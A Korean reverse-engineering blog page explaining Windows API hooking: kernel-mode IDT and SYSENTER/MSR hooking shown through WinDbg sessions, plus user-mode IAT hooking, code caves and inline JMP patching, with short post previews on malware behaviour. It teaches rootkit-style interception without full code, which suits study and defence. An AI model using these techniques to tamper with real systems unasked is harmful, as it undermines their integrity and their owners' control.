no image
윈도우 후킹 원리 (2) - Kernel [SYSTEM CALL]
Kernel Mode Hooking3장에서는 사용자 모드 후킹에 대하여 알아보았다면 이번 장에서는 커널 모드 후킹에 대하여 알아볼 것이다. 커널 모드에서 이루어지는 후킹의 경우 단순히 JMP 명령어를 설치하는 것이 아니라, 특정한 구조체에 포함된 값을 수정하는 등 작업을 수행해야 하기 때문에 아무래도 사용자 모드의 후킹보다 복잡하다. 이제 이러한 커널 모드 후킹에 대하여 알아보자. System Call운영체제는 사용자 모드(Ring 3)와 커널 모드(Ring 0)라는 두 가지 형태의 권한이 존재하고 있다. 이렇게 분리되는 이유는 다양하지만, 아무래도 보안과 관련된 점 또한 매우 중요하다. 만약 분리되어 있지 않을 경우 어떠한 프로세스든지 운영체제의 핵심 기능을 조작할 수 있게 되므로 이를 방지하기 위해선..
2016.04.23
no image
윈도우 후킹 원리 (1) - User Mode
Intro리버싱을 하는 데 있어 흔히 "Art of Reversing is an API Hooking"이라는 말과 같이 API 후킹은 리버싱의 꽃이라 일컬어진다. 어떤 윈도우 응용프로그램을 개발하기 위해서 우리는 다양한 종류의 언어나 도구를 사용할 수가 있다. 이런 언어나 도구를 사용하여 개발하는 방법은 다르더라도 결국, 개발된 프로그램의 내부로 들어가면 윈도우 운영체제가 제공하는 API를 호출한다.이러한 API는 사용자 영역뿐만 아니라 커널 영역에서도 Native API의 형태로 존재하기 때문에 API 후킹을 이해하는 것은 윈도우의 많은 부분을 조작할 수 있음을 의미한다. 따라서 이번 문서에서는 API 후킹에 대한 이해를 도모하며, 기본적인 후킹의 방법에 대해 이해하므로 다른 후킹 방법 또한 낯설지 않..
2016.04.23
System Call & SSDT Hooking
System CallWindows 운영체제는 사용자 모드와 커널 모드라는 두 가지 형태의 권한이 존재하고 있다. 굳이 하나가 아닌 두 가지로 분류되는 것은 모든 프로세스가 하나의 권한으로만 동작할 경우, 각 프로세스는 하드웨어나 프로세스에 직접 접근할 수 있게 된다. 이는 어떠한 프로세스라도 운영체제의 핵심 기능을 조작할 수 있게 되는 것이므로 보안에 있어 매우 취약하게 된다. 이러한 요소를 방지하기 위해 두 개의 영역으로 분류되었고, 당연히 사용자 모드에 존재하고 있는 프로세스는 커널 영역에 접근할 수가 없다. 하지만 커널 영역에 접근할 수 없다는 것은 해당 프로세스가 디스크의 내용을 읽을 수가 없게 되고, 그 외에도 많은 작업들에 제한이 생긴다. 따라서 이러한 불편함을 보완하기 위해 "사용자 모드의 ..
2016.04.10
no image
Malware Behavior ( 악성코드의 행위 특성 )
Downloaders and Launchers흔히 만날 수 있는 악성코드의 두 가지 유형은 다운로더와 실행기이다. 다운로더는 단순히 인터넷에서 악성코드의 다른 일부를 다운로드한 후 로컬 시스템에서 실행한다. 다운로더는 종종 exploit과 함께 세트를 이룬다. 다운로더는 일반적으로 새로운 악성코드를 다운로드하고 실행할 수 있는 WinExec 호출에 이어 윈도우 API인 URLDownloadtoFileA를 사용한다.실행기는 현재 실행이나 추후 실행을 은닉하기 위해 악성코드를 설치하는 특정 실행 파일이다. 실행기는 종종 로딩할 악성코드를 포함한다. Backdoor백도어는 공격자가 타겟에 원격 접속할 수 있게 도와주는 악성코드의 한 종류이다. 백도어는 종종 모든 기능을 구현하기도 함으로써 추가적인 악성코드 또..
2015.08.20
Kernel Mode Hooking


3장에서는 사용자 모드 후킹에 대하여 알아보았다면 이번 장에서는 커널 모드 후킹에 대하여 알아볼 것이다. 커널 모드에서 이루어지는 후킹의 경우 단순히 JMP 명령어를 설치하는 것이 아니라, 특정한 구조체에 포함된 값을 수정하는 등 작업을 수행해야 하기 때문에 아무래도 사용자 모드의 후킹보다 복잡하다. 이제 이러한 커널 모드 후킹에 대하여 알아보자.


System Call

운영체제는 사용자 모드(Ring 3)와 커널 모드(Ring 0)라는 두 가지 형태의 권한이 존재하고 있다. 이렇게 분리되는 이유는 다양하지만, 아무래도 보안과 관련된 점 또한 매우 중요하다. 만약 분리되어 있지 않을 경우 어떠한 프로세스든지 운영체제의 핵심 기능을 조작할 수 있게 되므로 이를 방지하기 위해선 분리되는 것이 좋다. 그렇기에 커널 모드에서는 사용자 모드를 조작할 수 있지만, 반대로 사용자 모드에서 커널 모드는 조작할 수가 없다.

하지만 커널 영역에 접근할 수 없다는 것은 해당 프로세스가 디스크의 내용을 읽을 수가 없게 되고 그 외에도 하드웨어나 프로세스에 직접 접근할 수 없게 된다. 그렇다면 어떻게 우리가 제작한 사용자 모드의 프로그램이 프로세스나 디스크와 관련된 작업을 수행할 수 있을까? 이는 바로 시스템 호출(System Call)을 사용하여 사용자 모드의 프로세스가 커널 영역에 접근을 요청할 수 있기 때문이다.

그림 18. System Call 과정

위 그림과 같이 응용프로그램이 Kernel32.dll의 API를 호출하면 해당 API는 Ntdll.dll의 함수를 호출한다. 그리고 호출된 Ntdll.dll은 자신이 커널에 요청해야 할 서비스 번호를 가지고 시스템 호출을 진행하며 이 과정이 바로 응용프로그램이 커널에게 시스템 자원 접근을 요청하는 과정이다. 이때 지정한 서비스를 요청하기 위해 EAX에 원하는 서비스 번호를 저장하고 EDX에는 이 서비스에 사용될 인자를 가리키는 포인터를 넘겨준다. 이러한 과정을 통해 커널에서는 어떠한 서비스가 필요한지, 어떠한 인자를 넘겨주었는지 알 수가 있다.

System Call은 "INT 0x2E"와 "SYSENTER" 두 가지 명령어로 나누어진다. 이렇게 나누어지는 기준은 바로 Windows XP 이전과 이후로, 이전에는 INT 0x2E를 사용하였으며, XP부터는 SYSENTER를 사용한다. INT 0x2E의 경우 상대적으로 무거운 인터럽트를 진행하므로 클럭 수를 많이 소모하였기 때문에, 이를 보완하기 위해 SYSENTER가 나온 것이다. 이러한 차이 외에 앞으로 진행할 후킹 과정에서도 차이점을 가지므로 이에 대하여 알아보자.

그림 19. INT 0x2E와 SYSENTER

우선 INT 0x2E의 경우 IDT(Interrupt Descriptor Table)을 참조하여 바로 System Service Dispatch(KiSystemService)로 간다. 하지만 SYSENTER는 SYSENTER_EIP(MSR)를 참조하여 KiFastCallEntry로 진행한 다음 KiSystemService로 간다. 마지막으로 INT 0x2E의 경우 IRET라는 명령어로 커널 모드에서 다시 사용자 모드로 복귀하고, SYSENTER의 경우 SYSEXIT라는 명령어를 통해 사용자 모드로 복귀한다. 이것이 별로 중요하게 느껴지지 않을 수 있지만, 후킹을 진행할 때 두 명령어에 따라 후킹 지점이 달라진다. 이러한 각 후킹 방법에 대해서는 바로 뒤에서 알아보자.

  

INT 0x2E Hooking

INT 0x2E는 인터럽트 0x2E로 IDT에 정의된 인터럽트 서비스 루틴(ISR)을 수행한다. 여기서 IDT는 256개의 Entry로 이루어진 배열로 엔트리 하나당 하나의 인터럽트에 대응하며 각 인터럽트는 IDT로부터 처리할 함수의 주소(ISR)을 전달받는다. 각 엔트리에는 지정된 값이 담겨 있으며 WinDBG로 확인했을 경우 아래와 같은 모습을 볼 수가 있으며 INT 0x2E의 경우 IDT에서 바로 KiSystemService를 가리키고 있는 것을 확인할 수 있다.

kd> !idt

Dumping IDT: 8003f400

…(skip)

2e:    8053f481 nt!KiSystemService

37:    806d3728 hal!PicSpuriousService37

3d:    806d4b70 hal!HalpApcInterrupt

41:    806d49cc hal!HalpDispatchInterrupt

50:    806d3800 hal!HalpApicRebootService

…(skip)

그림 20. IDT 구조

이 과정을 요약하면, XP 이전 버전에는 응용프로그램이 API를 호출하면 Ntdll.dll의 Zw*, Nt* 함수를 호출하게 된다. 이러한 함수는 결국 INT 0x2E를 통해 운영체제에게 커널 모드 작업을 요청한다. 이때 INT 0x2E가 IDT에서 KiSystemService의 주소를 참조하여 진행하는 것이다. 따라서 우리가 후킹 해야 할 부분은 바로 IDT이다. IDT가 가리키는 2E의 주소로 가보면 실제로 KiSystemSerive가 존재하고 있는 것을 아래와 같이 확인할 수 있다.

nt!KiSystemService:

8053f481 6a00 push 0

8053f483 55 push ebp

8053f484 53 push ebx

8053f485 56 push esi

8053f486 57 push edi

8053f487 0fa0 push fs

8053f489 bb30000000 mov ebx,30h

그림 21. INT 0x2E의 ISR(KiSystemService)

IDT를 후킹 할 것이므로 우선 IDT의 주소를 알아야 하는데, IDTR 레지스터에 IDT의 Base Address와 IDT의 크기가 저장되어 있다. WinDBG를 통해 알 수 있는 방법은 IDTR 레지스터의 값(주소)를 출력하거나 "!idt"를 통해 해당 주소를 알아낼 수가 있다. IDT의 Entry 구조는 아래 그림과 같이 8 바이트씩으로 이루어져 있으며 Entry가 가리키는 ISR의 주소가 하위 2바이트, 상위 주소 2바이트로 나누어져 있다.

kd> r idtr

idtr=8003f400

kd> !idt    

Dumping IDT: 8003f400

 

kd> dt _KIDTENTRY

ntdll!_KIDTENTRY

+0x000 Offset : Uint2B // 하위 오프셋

+0x002 Selector : Uint2B

+0x004 Access : Uint2B

+0x006 ExtendedOffset : Uint2B // 상위 오프셋

그림 22. IDT 주소와 각 엔트리 구조

하나의 엔트리가 8바이트로 이루어져 있다는 것을 확인했다. 그렇다면 우리가 찾고자 하는 엔트리는 0x2E 번째 엔트리이므로 IDT Base Address에 0x170을 더한 위치에 존재하고 있다. 아래 결과와 같이 8003f570부터 해당 엔트리가 존재하고 있다. 하위 2바이트와 상위 2바이트를 조합하여 INT 0x2E의 ISR은 8053f481이라는 것을 알 수 있다.

kd> db 8003f400 8003fC00

8003f400 9c 01 08 00 00 8e 54 80-14 03 08 00 00 8e 54 80 ......T.......T.

8003f410 3e 11 58 00 00 85 00 00-e4 06 08 00 00 ee 54 80 >.X...........T.

…(skip)

8003f560 80 fc 08 00 00 ee 53 80 - c0 05 08 00 00 ee 54 80 ......S.......T.

8003f570 81 f4 08 00 00 ee 53 80-80 27 08 00 00 8e 54 80 ......S..'....T.

…(skip)

그림 23. IDT 0x2E 번째 Entry

이제 우리가 어떤 주소(8003f570)를 후킹 해야 하는지 알았으니, 본격적인 후킹을 진행해보자. 이번 후킹 역시 프로그래밍을 통해 진행하는 것이 아니라 원리를 이해하기 위해 커널 디버거 WinDBG를 통해 진행할 것이다. 해당 0x2E의 ISR을 FFFFFFFF로 조작하는 과정으로 "0000"으로 채운 곳은 오프셋이 아닌 부분으로 구분을 위해 "0"으로 채운 것이다.

kd> !idt 2e // 기존 2E의 ISR 확인

2e:    8053f481 nt!KiSystemService

kd> ed 8003f570 // Windbg를 통해 직접 수정

8003f570 0008f481 0000ffff

8003f574 0000ffff ffff0000

kd> !idt 2e // 조작된 2E의 ISR 확인

2e:    ffffffff

kd> db 8003f570 8003f580 // 조작된 IDT 2E Entry 확인

8003f570 ff ff 00 00 00 00 ff ff-80 27 08 00 00 8e 54 80 .........'....T.

그림 24. IDT Entry 0x2E 후킹

이처럼 IDT가 후킹 된 상황에서 INT 0x2E를 통한 시스템 호출(System Call)이 발생하면 사용자 모드에서 커널 모드로 넘어갈 때 후킹된 주소로 가게 된다. 실제 후킹도 이와 같은 과정으로 진행되며, 대신 IDT의 주소를 얻을 때 "sidt" 명령어를 사용하여 주소를 얻는다. Sidt 명령어는 IDT의 주소를 저장하고 있는 IDTR 레지스터의 값을 참조하여 값을 얻어 온다. 또한 디버거를 통해 수정하는 것이 아니라 프로그래밍을 통해 수정하고자 할 때, 인터럽트를 비활성화("CLI" 명령어)해야 한다. 그리고 후킹이 완료되면 인터럽트를 다시 활성화("STI" 명령어) 시켜 정상적으로 구동되게끔 해야 한다.

  

SYSENTER Hooking

윈도우 XP 이상의 버전에서는 INT 0x2E가 아닌 SYSENTER를 사용한다. 시스템 호출이 요청되면 NTDLL은 EAX 레지스터에 해당 시스템 호출의 번호를 저장하고 EDX 레지스터에는 인자로 사용될 주소를 넣어준다. 그리고 SYSENTER 명령을 실행하여 커널 영역으로 들어오게 되는데, 이때 바로 커널로 들어가는 것이 아니라 실행될 커널의 주소(KiFastCallEntry)를 SYSENTER_EIP(MSR 0x176 레지스터)에서 참조하여 KiFastCallEntry 로 넘어가게 되는 것이다.

MSR은 Model-Specific Register로 디버깅이나 프로그램 실행 추적, 컴퓨터 성능 모니터링, 특정 CPU 기능 전환에 사용되는 각종 제어 레지스터x86 명령어의 집합이다. 이러한 집합 중 MSR 0x176에는 IA_SYSENTER_EIP(KiFastCallEntry)가 존재하고 있으며, MSR에 접근하고자 할 때는 "rdmsr", "wrmsr" 명령어를 통해 접근할 수가 있다. 우리가 찾아야 할 것은 MSR 0x176이며 다음과 같은 결과를 얻을 수가 있다.

kd> rdmsr 176

msr[176] = 00000000`8053f540

 

kd> u 8053f540

nt!KiFastCallEntry:

8053f540 b923000000 mov ecx,23h

8053f545 6a30 push 30h

…(skip)

그림 25. Read MSR 0x176

MSR 0x176이 제대로 KiFastCallEntry를 가리키고 있는 것을 확인할 수 있다. 바로 이 부분의 값을 바꾸어 SYSENTER를 후킹 할 수 있다. MSR 레지스터를 읽을 때는 rdmsr 명령어로 읽었다면, MSR 레지스터의 값을 변경할 때는 "wrmsr" 명령어를 사용하면 된다. 아래의 그림을 보자.

kd> wrmsr 176 11111111 // MSR 0x176의 값을 변경

kd> rdmsr 176 // MSR 0x176 값 변경 확인

msr[176] = 00000000`11111111

그림 26. Write MSR 0x176

실제로 위와 같이 옳지 않은 주소로 변경하면 당연히 블루 스크린을 맞이할 수 있을 것이다. 그렇다면 abex'sCrackMe01.exe를 가지고 직접 코드의 흐름을 조작하여 보자. 우선 아래의 코드는 정상적인 흐름을 나타낸다. Ntdll.dll의 함수를 추적하여 들어가보면 KiFastSystemCall이라는 부분을 볼 수 있는데 이는 SYSENTER 명령어를 통해 KiFastCallEntry로 가기 위한 부분이다. KiFastSystemCall에는 SYSENTER 명령어가 위치하고 있는 것을 확인할 수 있다.

ntdll!KiFastSystemCall:

001b:7c93e4f0 8bd4 mov edx,esp

001b:7c93e4f2 0f34 sysenter

kd> rdmsr 176 // MSR 0x176의 주소를 확인

msr[176] = 00000000`8053f540    

 

kd> bp 8053f540    // MSR 0x176의 주소에 BP 설정

 

kd> p    // Kernel의 KiFastCallEntry 에 올바르게 진입

Breakpoint 3 hit

nt!KiFastCallEntry:

8053f540 b923000000 mov ecx,23h

그림 27. 정상적인 SYSENTER 진입

정상적인 SYSENTER의 흐름을 wrmsr을 통해 조작해보자. MSR 0x176를 11111111 로 수정하므로 비정상적인 흐름으로 동작하도록 수정하였다. 그리고 이전과 같이 SYSENTER 명령어를 실행하기 전에 원래 MSR 0x176(KiFastCallEntry)의 주소에 BP를 설정한 다음 진행을 해보자. 정상적인 흐름이라면 KiFastCallEntry 에서 멈추어야 하지만, 조작된 MSR 0x176이 가리키는 주소 11111111로 흐름이 바뀌었다.

ntdll!KiFastSystemCall:

001b:7c93e4f0 8bd4 mov edx,esp

001b:7c93e4f2 0f34 sysenter

 

kd> bp 8053f540    // 기존 KiFastCallEntry에 BP 설정

kd> wrmsr 176 11111111    // MSR 0x176 주소 조작

 

kd> p    // 조작한 주소로 이동

Access violation - code c0000005 (!!! second chance !!!)

11111111 ?? ???

그림 28. 후킹 된 SYSENTER 진입

이러한 방법을 통해 SYSENTER Hooking(또는 MSR Hooking)을 진행할 수 있으며, 실제 11111111에 후킹 함수가 존재할 경우 시스템 호출이 발생할 때마다 후킹 함수를 지나가게 된다. 공격자의 입장에서 이러한 System Call Hooking을 진행하며 후킹 함수에 과도한 조건을 걸어놓는다면 시스템 성능이 크게 하락하여 사용자가 쉽게 알아차릴 수 있을 것이다.

'Reversing > Theory' 카테고리의 다른 글

윈도우 후킹 원리 [PDF]  (1) 2016.04.23
윈도우 후킹 원리 (3) - Kernel [SSDT]  (0) 2016.04.23
윈도우 후킹 원리 (1) - User Mode  (3) 2016.04.23
System Call & SSDT Hooking  (0) 2016.04.10
BOF에 취약한 함수  (1) 2016.03.30

  Intro


리버싱을 하는 데 있어 흔히 "Art of Reversing is an API Hooking"이라는 말과 같이 API 후킹은 리버싱의 꽃이라 일컬어진다. 어떤 윈도우 응용프로그램을 개발하기 위해서 우리는 다양한 종류의 언어나 도구를 사용할 수가 있다. 이런 언어나 도구를 사용하여 개발하는 방법은 다르더라도 결국, 개발된 프로그램의 내부로 들어가면 윈도우 운영체제가 제공하는 API를 호출한다.

이러한 API는 사용자 영역뿐만 아니라 커널 영역에서도 Native API의 형태로 존재하기 때문에 API 후킹을 이해하는 것은 윈도우의 많은 부분을 조작할 수 있음을 의미한다. 따라서 이번 문서에서는 API 후킹에 대한 이해를 도모하며, 기본적인 후킹의 방법에 대해 이해하므로 다른 후킹 방법 또한 낯설지 않도록 하는 것이 목적이다.

단, 후킹을 진행하는 자세한 코드들은 포함하지 않고, 어느 부분을 어떠한 방식으로 후킹 하는지 중점적으로 살펴볼 것이다. 코드들의 경우 다른 좋은 소스가 많으므로 그러한 요소들을 찾아보면 좋을 것이다. 이제부터 API 후킹에 대해 알아보자.

  

Prior Knowledge


이번 장에서는 구체적인 API 후킹에 대하여 알아보기 전에 우리가 알고 있는 API가 무엇인지 다시 한 번 정리해보고 API 후킹의 기본적인 개념에 대하여 알아볼 것이다.


  What is an API?

API란 Application Programming Interface의 약자로 단어 자체만으로는 무슨 뜻인지 이해하기 힘들다. 쉽게 말해 운영체제가 응용프로그램을 위해 제공하는 함수의 집합으로 응용프로그램과 디바이스를 연결해주는 역할을 한다. 좀 더 구체적으로 응용프로그램이 메모리, 파일, 네트워크, 비디오, 사운드 등 시스템 자원을 사용하고 싶더라도 이들에 대해 직접 접근할 수가 없다. 이러한 시스템 자원은 운영체제가 직접 관리하며 보안이나 효율 등 여러 면에서 사용자 응용프로그램이 접근할 수 없도록 막아놓았기 때문이다.

따라서 사용자 응용프로그램이 시스템 커널에게 이러한 시스템 자원의 사용을 요청해야 하며, 이 방법이 바로 MS 제공한 Win32 API를 이용하는 것이다. 즉 API 함수 없이는 프로세스, 스레드, 메모리, 파일, 네트워크, 레지스트리 등 시스템 자원에 접근할 수 있는 프로그램을 만들 수가 없다. 아래 그림은 32비트 Windows OS의 프로세스 메모리를 간략히 나타낸 그림이다.

그림 1. User Mode & Kernel Mode

실제 응용프로그램 코드를 실행하기 위해서는 많은 DLL이 로딩된다. 모든 프로세스는 기본적으로 kernel32.dll이 로딩되며, kernel32.dll은 ntdll.dll을 로딩한다. 바로 이 ntdll.dll의 역할이 사용자 모드에서 커널 모드로 요청하는 작업을 수행한다. 이러한 방식을 통해 시스템 자원에 접근할 수 있게 되는 것이다.


  What is an API Hooking?

API 후킹에 관해 이야기하기 전에 후킹에 대하여 먼저 알아보자. 후킹이란 이미 작성되어 있는 코드의 특정 지점을 가로채서 동작 방식에 변화를 주는 기술이라 할 수 있다. Hook이라는 단어 자체가 낚싯바늘 같은 갈고리 모양을 가지는데 이를 통해 무엇인가를 낚아채는 것과 같이 컴퓨터에서도 무엇인가를 낚아채는 형태로 사용될 수 있다.

그렇다면 API를 후킹 한다는 말은 무슨 뜻일까? 바로 Win32 API가 호출되는 중간에서 가로채어 제어권을 얻어낸다는 것이다. 그렇다면 어느 시점에 가로채는지 궁금할 수가 있다. API 후킹에는 많은 기법이 존재하는데 이러한 분류가 주로 어떤 방식을 사용하는지, 그리고 바로 어느 지점에서 가로채는지에 따라 분류되므로 이에 대해서는 각 방식에서 자세히 알아볼 것이다. 기본적인 후킹의 개념은 아래의 그림과 같다.

그림 2. 정상호출과 후킹된 호출

정상적인 경우 A 단계가 진행된 다음에 B가 진행되어야 하지만, 후킹 된 호출의 경우 A 단계 다음에 B가 진행되는 것이 아니라 C가 진행된 뒤 B가 진행된다. 이를 통해 A의 요청을 조작하거나 특정한 조건에만 B가 실행되도록 조작할 수가 있다. 위와 같은 방식으로 API를 후킹 하면 그 함수의 기능을 사용하지 못하게 할 수도 있고 어떻게 사용하는지 감시만 할 수도 있다. 심지어 전혀 다른 내용으로 바뀌게끔 할 수도 있다.

  

User Mode Hooking


Windows에서는 크게 사용자 모드(User Mode)의 후킹과 커널 모드(Kernel Mode)의 후킹으로 나누어진다. 이번 장에서는 사용자 영역에서 어떻게 API 호출이 이루어지는지, 그리고 어떻게 이들을 후킹할 수 있는지에 대하여 알아보자.


  IAT Hooking

3.1.1 IAT(Import Address Table)

IAT후킹은 IAT(Import Address Table)를 후킹 하는 것으로, IAT는 쉽게 말해 해당 프로그램이 어떤 라이브러리에서 어떤 함수를 사용하고 있는지를 기술한 테이블이다. 예를 들어, 어떤 프로그램이 Kernel32.dll의 GetDriveType API를 호출한다면 해당 API를 사용하기 위한 주소를 IAT에서 참조할 수 있다.

그림 3. PE View로 본 IAT

IAT 후킹은 바로 이 IAT에서 후킹하고자 하는 함수 주소를 내가 원하는 함수(이후 후킹 함수)로 교체하고, 후킹 함수에서 파라미터나 리턴 값을 조작하고 원래 함수를 호출하는 방법이 바로 IAT 후킹이다. 가장 쉬우면서도 안정적인 방법이라 일반적으로 자주 사용되는 후킹 방식이다. 그렇다면 일반적으로 API가 호출되는 상황을 보자.

그림 4. Sleep API

Sleep()를 호출할 때 직접 호출하지 않고 0x43B168 주소에 있는 값을 가져와서 호출한다. 0x43B168 주소는 해당 프로그램의 IAT 메모리 영역으로 0x76AE7990이라는 값이 존재하고 있다. 이제 이 값이 바로 해당 프로세스 메모리에 로딩된 Kernel32.dll의 Sleep 함수의 주소이다.

그렇다면 왜 0x40104F에서는 CALL 0x76AE7990이라 하지 않고 다른 곳을 참조하는 하여 접근하는 것일까? 이는 운영체제 버전이나, 어떤 언어, 서비스 팩이냐에 따라DLL의 버전이 다르며, 해당 함수의 위치가 달라지기 때문이다. 모든 환경에서 Sleep() 함수 호출을 보장하기 위해 컴파일러는 Sleep()의 실제 주소가 저장될 위치(0x43B168)를 준비하고 CALL DWORD PTR DS:[43B168]을 적어두기만 한다. 그 후 파일이 실행되는 순간 PE Loader가 0x43B168 위치에 Sleep() 함수의 주소를 입력해준다.

 

3.2.2 Hook

그렇다면 이러한 IAT의 개념에 대해 알아보았지만, 대체 이 부분 중 어느 곳을 후킹 해야 한다는 것인가 의문을 가질 수 있다. 위의 Sleep 함수를 예로, 사용자 모드에서 Sleep API가 호출되는 과정은 아래의 그림과 같이 나타낼 수 있다.

그림 5. 메모리에서 Sleep API

(A)는 3.2.1에서 이야기한 바와 같이 해당 함수를 사용하기 위한 주소 공간을 만들어 놓은 것이다. 이렇게 만들어 놓은 주소에 프로그램이 실행되며 PE 로더가 Sleep 함수의 주소를 채워 넣는다. 여기서 만들어진 주소 공간 43B168은 RVA 값이며, 이에 해당하는 파일 Offset은 39168이다. 39168은 바로 IAT 의 Sleep 함수가 위치한 Offset이다.

그림 6. Sleep API in IAT

만약 (A)에 존재하고 있는 값인 43B168을 다른 값으로 바꾸면 어떻게 될까? 직접 Sleep 함수를 호출하는 부분에 IsDebuggerPresent API의 IAT 주소를 넣어보자. 주소는 위 그림에서와 같이 Offset 39164이므로 이는 RVA 43B164가 된다. 이제 아래와 같이 코드를 패치해보자.

그림 7. 코드 패치

원래 Sleep()을 호출하던 부분에 IsDebuggerPresent()의 IAT 주소로 변경을 해주었다. 그렇다면 이제 위에서 언급한 바와 같이 PE 로더가 0x40104F에서 호출하는 함수의 주소를 0x43B164에서 참조하기 때문에 아래의 그림처럼 IsDebuggerPresent()가 위치하게 된다.

그림 8. 호출할 함수 주소 변경

이를 정리하자면, 프로그램이 사용하고자 하는 API를 호출할 때 해당 명령어에는 "CALL DWORD PTR DS:[IAT에 존재하는 해당 함수의 RVA]"로 나타내며, 프로그램이 실행되면서 실제 주소가 해당 DS:[RVA]에 올라오게 된다. 따라서 위와 같이 (A)를 후킹 하기 위해선 DS:[HookFunc]로 바꿔주어야 한다..

이번에는 (B)의 경우를 생각해보자. (A)는 프로그램이 실행되기 이전 파일의 형태에서 조작이 가능하였지만 (B)의 경우 파일이 실행되면서 43B168에 실제 Sleep API의 주소를 가지고 온다. 그러므로 (B) 부분은 파일이 아닌 프로세스일 경우에만 조작이 가능함을 알 수가 있다. 따라서 쉽게 DLL Injection과 같은 기법을 통해 프로세스의 메모리를 조작할 수 있지만, 이번 문서는 코드와 관련된 부분은 최대한 제외하고 원리를 이해함을 목적으로 할 것이기 때문에 필자는 디버거를 통해서 접근할 것이다.

그림 9. 함수 호출 - Debugger

위 그림을 보면 Sleep 함수를 호출할 때 43B168을 참조하며, IsDebuggerPresent 함수를 호출할 때는 43B164를 참고하는 것을 확인할 수 있다. 아래 덤프 영역을 보면 각각 해당하는 함수의 주소가 PE 로더에 의해 지정된 것을 확인할 수 있다. Sleep 함수가 가리키는 곳에는 76AE7990이 위치하며 다른 곳에는 76AEB0B0가 위치하고 있다. 해당 지점에는 각 함수의 실제 실행과 관련된 부분이 존재하고 있다. 따라서 이 위치를 변경하면 후킹을 진행할 수 있다. 만약 43B168(Sleep)에 76AEB0B0를 넣어주면 어떻게 될까?

그림 10. Sleep이 호출하는 주소 변경

위 그림처럼 분명 디버거는 Sleep()이라고 나타내지만 하단의 DS에서 가리키는 곳은 KERNEL32.IsDebuggerPresent 이다. 이를 통해 디버거 또한 IAT를 기준으로 주석에 나타내주는 것임을 알 수가 있다. 그렇다면 좀 더 심화 학습을 진행해보자. 흔히 코드 케이브(Code Cave)라 할 수 있는 방법을 여기에 적용해볼 수가 있다.

코드 케이브에 대해 간단히 설명하자면 해당 프로세스의 빈 공간에 사용자가 정의한 코드를 넣어준 뒤, 이 부분으로 프로그램이 전개되도록 하는 방식이다. 예제 프로그램에서 빈 공간은 Sleep이 호출되는 윗부분에 존재하고 있다. 따라서 Call 명령어를 통해 DS:[43B168]을 참조하게 되는데, 이때 43B168은 코드 케이브의 위치인 401023이 존재하고 있다. 401023에서 Sleep API의 인자로 사용되기 위해 스택에 저장되어 있는 값을 증가시키므로 흐름을 방해한다. ADD 명령 다음에는 원래의 기능을 수행하기 위해 조작되기 이전 값인 76AE7990로 점프를 해주면 된다.

그림 11. Code Cave를 사용한 후킹

이렇게 조작을 했는데 과연 제대로 프로그램이 동작할까? 당연히 제대로 동작한다. 이전 (A)에서는 IAT에 존재하는 다른 API로 변경하는 것만 진행했지만, 이번 과정에서는 인자로 전달되는 값을 직접 수정할 수가 있다. 이는 사용자로부터 입력 받은 값을 조작하여 특정한 함수의 흐름을 조작할 수 있는 것과 같이 다른 면에도 유용하게 활용할 수 있다. (B)에 적용한 방식은 (C)의 시작 부분을 JMP Hook_Address로 이동하여 유사하게 적용할 수 있다.

(C)의 경우 실제 함수의 명령어들이 위치하고 있다. 따라서 이 부분을 후킹 하기 위해서는 명령어를 조작하여야 하는데 어떻게 조작해야 할까? (C)의 내용은 밑에 그림과 같다. 자세히 보면 상단의 세 명령어의 OPCODE는 총 5 바이트이다. 바로 이 부분을 조작하므로 우리는 원하는 함수를 후킹할 수 있다. 아래의 그림을 보자.

그림 12. (C) 단계 원래 명령어와 조작된 명령어

Sleep() 함수의 원래 주소 7673A6B0의 명령어를 JMP 명령어로 변경한 것을 확인할 수 있다. 이렇게 변경된 Sleep()함수는 호출될 때마다 해당 부분으로 이동하게 되며 공격자가 의도한 대로 흐름이 변경될 것이다. 필자가 의도한 조작은 아래 그림과 같이 Sleep() 함수의 시간 값을 증가시킨 다음, 원래대로 코드를 복원하고 복원된 지점으로 이동하는 것이다.

그림 13. 조작 코드

이렇게 코드가 아닌 어셈블리로 조작한 것은 글을 읽는 사람들의 이해를 돕고자 진행한 것이다. 실제로 이렇게 하는 사람은 거의 없으며, 특히 42000E에서 원래대로 코드를 복원하는 부분은 VirtualProtect로 권한을 변경하여 진행하는 등 어셈블리로 진행할 경우 복잡하게 이루어지기 때문에 넣지 않았다. 하지만 실제 C/C++와 같은 언어로 후킹 함수를 제작할 때는 더욱 편리할 것이다.

마지막으로 예제를 통해 진행한 각 방식의 차이에 대하여 알아보자. (A)를 후킹 할 때 해당 주소의 코드를 직접 변경하였는데, 이로 인해 해당 주소가 아닌 지점에서 Sleep()을 호출할 경우 정상적인 Sleep()이 호출된다. 반면에 (B)의 경우 IAT가 가리키는 DS에 존재하는 값을 변경하였고, 이로 인해 Sleep() 함수를 호출하는 모든 곳이 조작된 DS를 가리킨다. 따라서 (B)의 방식의 경우 해당 프로세스에서 Sleep() 함수는 후킹 된 코드 케이브를 지나가게 된다. 마찬가지로 (C) 또한 실제 Sleep() 함수의 부분을 JMP 명령어로 조작하였기 때문에 해당 프로세스의 모든 Sleep() 함수가 후킹된 것이다.

특히 (C)의 방식은 Ntdll.dll의 함수도 조작이 가능하다. 아래의 그림을 보면 실제 Ntdll.ZwDelayExecution을 호출하는 것을 확인할 수 있으며, 해당 부분의 실제 코드의 5 바이트를 JMP 명령어로 수정하여 원하는 후킹을 진행할 수가 있다.

그림 14. Ntdll.dll의 API

단, 이러한 IAT후킹의 경우, 후킹 하고자 하는 함수가 IAT에 존재해야만 후킹할 수 있기 때문에 동적으로 API를 로드(예로, GetProcAddress API 등을 통해)하는 경우 IAT를 참조하지 않아 IAT 후킹을 사용할 없다. 또한 IAT는 프로세스마다 각각 존재하기 때문에 a.exe의 IAT를 후킹하였다고 b.exe까지 후킹 된 것이 아님을 유의해야 한다.


  Message Hooking

윈도우 운영체제는 사용자에게 GUI를 제공해주고, 사용자는 제공받은 GUI를 이용하여 원하는 동작을 할 수 있다. 동작을 수행하는데 있어 마우스를 움직이거나 클릭, 또는 키보드 버튼을 누르게 되는데 이러한 동작은 윈도우 운영체제가 Event Driven 방식으로 처리한다. 다시 말해 이러한 동작을 이벤트로 발생시켜 운영체제가 그 이벤트에 맞는 메시지를 해당 응용프로그램에게 전달하여 처리하는 방식이다.

